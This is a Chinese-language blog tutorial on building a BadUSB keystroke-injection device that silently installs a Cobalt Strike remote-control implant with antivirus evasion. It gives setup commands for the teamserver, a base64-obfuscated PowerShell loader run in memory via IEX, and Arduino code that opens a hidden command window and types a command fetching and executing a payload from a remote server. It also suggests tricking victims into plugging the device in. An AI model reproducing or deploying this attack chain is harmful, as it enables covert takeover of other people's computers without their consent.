【物理滲透】使用BadUSB配合CS免殺實現上線
BadUSB介紹
隨著設備不斷的升級改進,USB 能夠連接到許多不同的設備,包括鼠標、鍵盤、相機、攝像頭、無線網絡設備等。但不幸的是,USB 的設計方式產生了這個 BadUSB 安全漏洞。
BadUSB 漏洞是由安全研究人員 Karsten Nohl 和 Jakob Lell 在 2014 年黑帽會議上首次發現并暴露出來的,這也就讓USB安全和幾乎所有和USB相關的設備(包括具有USB端口的電腦)都陷入相當危險的狀態。
就狹義來說,BadUSB是指形似 U 盤的設備,內部的電路在上電之后會被系統識別為鍵盤,此時該設備內部的芯片開始與電腦進行鍵盤通訊,仿照人的輸入習慣,來操作電腦,以此達到駭入電腦的目的。
就廣義來說,BadUSB是指一切會被電腦識別為 HID 設備的,外觀卻不像鍵盤的電子設備。現階段有的 badusb 是形似數據線的,有的則是手機加定制內核,以發揮 BadUSB 的作用,更有甚者,將 BadUSB 開發為模塊,可以嵌入任意的帶 USB 接口的設備中。
badusb在紅隊作戰中是非常常見的物理滲透手段,畢竟不是誰都能抵得住一個u盤的誘惑的,那么再加上500個g “學習”視頻勒?你防得住嗎?
準備工作
購買 badusb 、 燒錄器 、 云服務器;共計開銷大概二百五
①.在服務器中上傳cs、screen,用于制作cs免殺馬等
sftp root@IPlsput \xxx\cs.zip ssh root@IPapt updateapt install unzipunzip cs.zipapt install default-jdkcd cschmod 777 teamserversudo ./teamserver IP password apt install screenscreen -S test
②.下載并安裝開發環境Arduino
由于 Arduino 的易用性,現階段最常用的 BadUSB 還是基于 Arduino 進行設計的
下載地址:https://www.arduino.cc/en/software (有Windows、Linux、Mac版本,PS:建議別下最新的)
③.通過 zading 軟件在電腦上安裝對應的燒錄器驅動
首先需要讓電腦識別到我們的BadUSB設備(PS:需要找老的type-a線,新的我試過去貌似都無法識別)

然后打開 zading 軟件,點擊 Options - List All Devices,找到我們的 usbasp 按照下圖設置好驅動

當其在設備管理器中顯示為 libusb-win32 devices 設備時,就意味著安裝好了燒錄器驅動

④.下載并安裝燒錄工具 progisp
網盤鏈接(提取碼:xrb9)
CS免殺操作
制作CS免殺?

將其base64編碼處理一下
Set-StrictMode -Version 2
$a1 = 'base64編碼'$a2 = 'base64編碼'$a3 = 'base64編碼'$a4 = 'base64編碼'$a5 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($a1+$a2+$a3+$a4))
If ([IntPtr]::size -eq 8) { start-job { param($a) IEX $a } -RunAs32 -Argument $a5 | wait-job | Receive-Job}else { IEX $a5}
接著把文件名改為全大寫的,然后通過CS上傳至我們的公網服務器上(攻擊 - 釣魚攻擊 - 文件下載),實現全程無落地?

然后將我們需要的操作搞成思路,形成最基礎的想法,接著將思路寫成代碼,通過 Arduino 編譯生成hex文件,最后利用工具 progisp 燒錄到我們的BadUSB中

附上部分關鍵代碼
//payloadif (onetimeOrForever == 0){ delay(1000); Keyboard.begin();//開始鍵盤通訊 delay(1500);//延時 Keyboard.press(KEY_LEFT_GUI);//win鍵 delay(500); Keyboard.press('r');//r鍵 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); delay(500); Keyboard.press(KEY_CAPS_LOCK);//利用開大寫輸小寫繞過輸入法 Keyboard.release(KEY_CAPS_LOCK); Keyboard.println("CMD /t:01 /k @ECHO OFF && MODE CON:cols=15 lines=1"); //使用最小化隱藏cmd窗口 //cmd /c start /minCMD /C START /MIN POWERSHELL -W HIDDEN delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(1300); Keyboard.println("echo set-alias -name rookie -value Invoke-Expression;rookie(new-object net.webclient).downloadstring('http://IP/payload.ps1') | powershell -"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_CAPS_LOCK);//利用開大寫輸小寫繞過輸入法 Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//結束鍵盤通訊 delay(1000); Keyboard.begin();//開始鍵盤通訊 delay(1500);//延時 Keyboard.press(KEY_LEFT_GUI);//win鍵 delay(500); Keyboard.press('r');//r鍵 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); delay(500); Keyboard.press(KEY_CAPS_LOCK);//利用開大寫輸小寫繞過輸入法 Keyboard.release(KEY_CAPS_LOCK); Keyboard.println("notepad.exe"); //打開記事本 delay(500); Keyboard.println(" $$$$ "); delay(500); Keyboard.println(" $$ $$"); Keyboard.println(" $$ $$"); Keyboard.println(" $$ $$"); Keyboard.println(" $$ $$"); Keyboard.println(" $$ $$"); Keyboard.println(" $$ $$"); Keyboard.println(" $$$$$$ $$$$$$"); Keyboard.println(" $$$$$$ $$ $$ $$ $$$$"); Keyboard.println(" $$ $$$$ $$ $$ $$ $$"); Keyboard.println(" $$ $$ $$ $$ $$ $$"); Keyboard.println(" $$ $$ $$ $$"); Keyboard.println(" $$$ $$ $$"); Keyboard.println(" $$ $$"); Keyboard.println(" $$$ $$"); Keyboard.println(" $$ $$"); Keyboard.println(" $$$ $$"); Keyboard.println(" $$ $$$"); Keyboard.println(" $$$ $$"); Keyboard.println(" $$ $$"); Keyboard.println(" $$$ $$$"); Keyboard.println(" $$ $$"); Keyboard.println(" $$$$$$$$$$$$$$$$$$$$"); delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_CAPS_LOCK);//利用開大寫輸小寫繞過輸入法 Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//結束鍵盤通訊
至此,我們的BadUSB配合CS免殺上線就已完工?
badusb yyds!
在嗎?好兄弟,我想在你電腦拷貝點"學習"資料,我好晚上學習一下,插上我的u盤可以嗎?
注:此文章僅限于安全研究,違法犯罪與作者無關!